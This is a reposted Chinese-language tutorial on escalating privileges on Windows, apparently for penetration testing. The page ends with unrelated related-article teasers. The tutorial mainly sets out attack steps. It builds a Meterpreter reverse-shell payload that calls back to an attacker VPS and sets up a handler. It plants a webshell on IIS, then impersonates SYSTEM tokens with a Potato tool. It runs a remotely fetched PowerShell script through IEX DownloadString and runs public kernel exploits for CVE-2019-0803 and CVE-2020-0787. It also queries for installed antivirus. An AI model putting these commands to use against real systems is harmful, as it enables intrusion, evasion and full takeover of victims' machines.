Windows系统提权(一)

news2025/1/20 1:47:47

权限提升概述

windows系统常见的权限:

用户权限
管理员权限
系统权限
访客权限

什么是提权

权限提升(privilege escalation):攻击者通过安全漏洞把获取到的受限制的低权限用户突破限制,提权到高权限的管理员用户,从而获得对整个系统得控制权。

Windows:user --> administrator
Linux:user --> root

提权分类

本地提权:在一个低权限用户下,通过一些条件(应用程序漏洞、系统漏洞等)直接提升到系统最高权限。

远程提权:攻击者通过漏洞利用程序直接获取远程服务器的权限。

操作系统提权:

Windows:MS06-067、MS10-084、MS11-014、MS11-05、MS12-020、MS16-032等

Linux:CVE-2017-7308、CVE-2017-6074、CVE-2017-5123、CVE-2016-9793、CVE-2016-5195等

应用程序提权:SQL Server、MySQL、Oracle
 

提权条件

拥有Webshell,普通用户权限
拥有某些软件的账号密码
本地或远程服务器上存在漏洞
拥有漏洞利用工具代码

Windows提权思路

前期信息收集

Meterpreter提权

Windows系统内核漏洞

Windows服务漏洞

Windows系统提权

Windows提权信息收集

1.MSF生成木马

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=your-vps-ip lport=8899 -f exe -o wind.exe

 2.设置侦听

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost your-ip
set lport 8899
exploit

3.上传shell至靶机,并执行

WMIC信息收集

WMIC:Windows管理工具命令行,提供了从命令行接口和批命令脚本执行系统管理的支持,对于信息收集和渗透测试是非常实用的。

wmic信息提取脚本:wmic_info.bat

提取进程、服务、用户帐号、用户组、网络接口、硬盘信息、网络共享信息、安装Windows补丁、程序在启动运行、安装的软件列表、操作系统、时区等信息。

补丁信息、补丁包过滤

wmic qfe get Caption,Description,HotFixID,InstalledOn
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:“KBxxxxxx” /C:“KBxxxxxx”

获取杀软名:

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List

获取杀软名和安装路径:

WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState,
pathToSignedProductExe

组帐户管理

wmic group

已安装操作系统的管理

wmic os

进程管理

wmic process

服务应用程序管理

wmic service

用户帐户管理

wmic useraccount

当用户登录到计算机系统时自动运行的命令的管理

wmic startup

自动信息收集

主机信息收集脚本:HIGS.bat

上传至目标主机执行:

 主机信息收集脚本:winPEAS.bat

上传至目标主机执行:

 主机信息收集脚本:Powerless.bat    #此脚本收集信息比较详细

以上脚本可在 github.com 自行下载

提权工具脚本

RottenPotato:将服务帐户本地提权至SYSTEM

1.搭建环境

准备一台web机器

打开服务器管理器

点击下一步

选择: ASP.NET     .NET扩展性

下一步,点击安装

打开网站

2.上传shell至web网站根目录

 C:\inetpub\wwwroot

 3.冰蝎连接shell

 4.上线到MSF

msf生成payload

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=yourip lport=6688 -f exe -o iis.exe

上传至有写入权限的文件夹

打开侦听

收到会话

load incognito   #加载伪装模块
list_tokens –u   #查看令牌

upload /root/potato.exe .                #将potato上传至当前目录
execute -Hc -f potato.exe               #运行potato
 

impersonate_token "NT AUTHORITY\SYSTEM"       #伪装登录令牌

#模拟成功后,需要快速使用,否则令牌会消失

SeImpersonatePrivilege   已启用, 还是命令报错

也可以使用其他土豆

Windows内核漏洞提权

提权信息收集

检查Windows版本是否有任何已知的漏洞:

wmic qfe get Caption,Description,HotFixID,InstalledOn

 systeminfo

快速查找提权

在线网站查询补丁对应漏洞: 提权辅助网页 Windows提权辅助

 

 

 找到对应的系统版本漏洞,进行提权

工具自动化查询

wget https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1

也可以手动下载

文件在下载后,在文件所在目录启动web服务。

目标主机执行命令:

powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://your-vps-ip:8000/Sherlock.ps1');Find-AllVulns

工具存在一定误报

Title:名称
CVEID:漏洞编号
Link:链接

windows-kernel-exploits(Windows平台提权漏洞集合)

 windows-exploit-suggester.py

https://github.com/SecWiki/windows-kernel-exploits

项目主页具体使用方法..

CVE-2019-0803复现

漏洞利用工具:https://github.com/k8gege/K8tools/raw/master/CVE-2019-0803.exe

攻击机:Kali

目标机:Windows7 旗舰版

已经获得目标权限:

上传一个exe木马文件

cve-2019-0803 cmd "whoami" 检测是否存在漏洞

#可能会报错,多执行几次命令

cve-2019-0803 cmd "start wind" 反弹system权限会话至MSF

#如果桌面木马文件,没有exe后缀,命令后面就不要添加.exe ,会报错

MSF收到会话

CVE-2020-0708复现

Release CVE-2020-0787-EXP-ALL-WINDOWS-VERSION · cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION · GitHub

#直接运行,获取system权限,前提条件是必须先获得桌面会话,才可以得到system权限

...

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/884204.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

opentcs初次运行

openTCS简介 openTCS是一个开放的交通控制系统,可以实现机器人的任务分配、路径规划、调度等一系列的功能,也有相应的仿真平台,既可以使用该软件及仿真平台进行基本的任务分配、路径规划等操作,也可以基于该平台进行二次开发&…

机器学习重要内容:特征工程之特征抽取

目录 1、简介 2、⭐为什么需要特征工程 3、特征抽取 3.1、简介 3.2、特征提取主要内容 3.3、字典特征提取 3.4、"one-hot"编码 3.5、文本特征提取 3.5.1、英文文本 3.5.2、结巴分词 3.5.3、中文文本 3.5.4、Tf-idf ⭐所属专栏:人工智能 文中提…

2023“钉耙编程”联赛 Day 3 L 题 Inference 题解

原题描述 给定 m m m 个特征,你想基于大量的数据,再通过 Alice \text{Alice} Alice 的前 m − 1 m−1 m−1 个特征的值推断出她的最后一个特征的值。 特征之间的关系可以表示为一个有向无环图,其中一个节点 A A A 指向一个节点 B B B 表示 B B B…

Python基础语法入门(第二十天)——文件操作

一、基础内容 在Python中,路径可以以不同的表现形式进行表示。以下是一些常用的路径表现形式: 1. 绝对路径:它是完整的路径,从根目录开始直到要操作的文件或文件夹。在Windows系统中,绝对路径以盘符开始,…

Linux系列讲解 —— FTP协议的应用

简单介绍一下FTP文件传输协议在linux系统中的应用。 目录 0. 基本概念1. FTP Server1.1 安装FTP Server1.2 FTP Server开启和关闭1.3 查看FTP Server是否开启1.4 FTP服务器配置 2. FTP Client2.1 lftp2.2 ftp2.3 sftp2.4 文件资源管理器集成的ftp和sftp 3. ftp常用命令 0. 基本…

【C++11保姆级教程】auto和decltype

文章目录 前言总结一、auto1.初识auto关键字 2.auto使用二、decltype1.初识decltype2.使用decltype 总结 前言 在C11中引入了一些新的关键字和特性,其中包括auto和decltype。这两个关键字提供了更方便、更灵活的类型推断机制,使得代码编写更加简洁和可读…

TCS3200颜色识别模块

TCS3200颜色识别模块 TCS3200简介 供电电源(2.7V to 5.5V)可配置颜色滤波器和输出信号频率高分辨率光强转换到频率(工作原理) TCS3200工作原理 TCS3200是TAOS公司推出的可编程彩色光到频率的转换器,它把可配置的硅光电二极管与电流频率转换器集成在一个单一的CMO…

Python找出列表中出现次数最多的元素三种方式

前言 嗨喽~大家好呀,这里是魔王呐 ❤ ~! 方式一: 原理:创建一个新的空字典,用循环的方式来获取列表中的每一个元素,判断获取的元素是否存在字典中的key,如果不存在的话,将元素作为key&#xf…

如何保证事件的闭环处理

所谓的闭环,就是指告警发出、认领、协作处理、问题恢复、复盘改进的整个过程。 排班,专人做专事 ​这个手段听起来并不高大上,但确实非常有效。值班期间虽然提心吊胆的,生怕背锅,但因为是轮班制,心里总有…

C语言笔试训练【第12天】

文章目录 1、请阅读以下程序,其运行结果是( )2、假设编译器规定 int 和 short 类型长度分别为32位和16位,若有下列C语言语句,则 y 的机器数为( )3、下列程序的输出结果是什么( &…

LC-链表的中间节点(遍历)

LC-链表的中间节点(遍历) 链接:https://leetcode.cn/problems/middle-of-the-linked-list/description/ 描述:给你单链表的头结点 head ,请你找出并返回链表的中间结点。 如果有两个中间结点,则返回第二个…

OpenCV-Python中的图像处理-图像直方图

OpenCV-Python中的图像处理-图像直方图 图像直方图统计直方图绘制直方图Matplotlib绘制灰度直方图Matplotlib绘制RGB直方图 使用掩膜统计直方图直方图均衡化Numpy图像直方图均衡化OpenCV中的直方图均衡化CLAHE 有限对比适应性直方图均衡化 2D直方图OpenCV中的2D直方图Numpy中2D…

基于Python科研论文绘制学习 - task1

绘制原则 必要性(避免图多字少) 易读性(完整准确的标题、标签) 一致性(配图需要和上下文一致) 尝试运行代码的时候出现了很多bug,基本都是围绕Scienceplots库的,在更新pip、pandas…

Gin安装解决国内go 与 热加载

get 方式安装超时问题,国内直接用官网推荐的下面这个命令大概率是安装不成功的 go get -u github.com/gin-gonic/gin 可以在你的项目目录下执行下面几个命令: 比如我的项目在E:\Oproject\zl cmd E:\Oproject\zl>就在目录下执行 go env -w GO111…

HCIP学习--MPLS

MPLS-多协议标签交换 标签交换 基于2.5层的标签号进行路由行为,开始传输数据包的时候需要查询两张表,一个路由表一个ARP表然后人们就想可不可以少查点表,然后MPLS就出现了,MPLS就是是在数据包的2.5层压入一个标签号,路由器基于2…

人大进仓数据库ksql命令基础

测试环境信息: 系统为银河麒麟V10 数据库为Kingbase ES V8 数据库安装目录为/opt/Kingbase/ES/V8 ksql命令位于/opt/Kingbase/ES/V8/Server/bin下 使用--help获取帮助 续上图 1.查看数据库列表 ./ksql -U system -l 2.查看数据库版本 ./ksql -V 3.连接指定的数据库tes…

计算机技术综合布线实训室建设方案

一、计算机技术综合布线系统概述 综合布线是指在建筑物或办公室内部,将各种通信设备(如计算机、电话、视频监控、音频设备等)通过统一的电缆系统连接起来的一种网络布线方式。它是构建局域网(LAN)和数据中心基础设施的…

Revit SDK 介绍:PanelSchedule 配电盘明细表

前言 这个例子介绍 Revit 的配电盘明细表,PanelSchedule。Revit 的电器专业在国内用的并不是十分广泛,但从功能上来说还是比较完整的。 内容 这个例子里有三个命令: PanelScheduleExport - 导出配电盘明细表InstanceViewCreation - 创建配…

HTML5的介绍和基本框架

目录 HTML5 HTML5介绍 HTML5的DOCTYPE声明 HTML5基本骨架 html标签 head标签 body标签 title标签 meta标签 在vscode中写出第一个小框架 HTML5 HTML5介绍 HTML5是用来描述网页的一种语言,被称为超文本标记语言。用HTML5编写的文件,后缀以.ht…

JVM编译优化

即时编译器 HotSpot虚拟机中内置了两个即时编译器,分别称为Client Compiler和Server Compiler,或者简称为C1编译器和C2编译器。Java8默认开启Server模式。用户可以使用“-client”或“-server”参数去指定编译模式。 C1编译器启动速度快,关注局部简单可靠的优化,比如方法…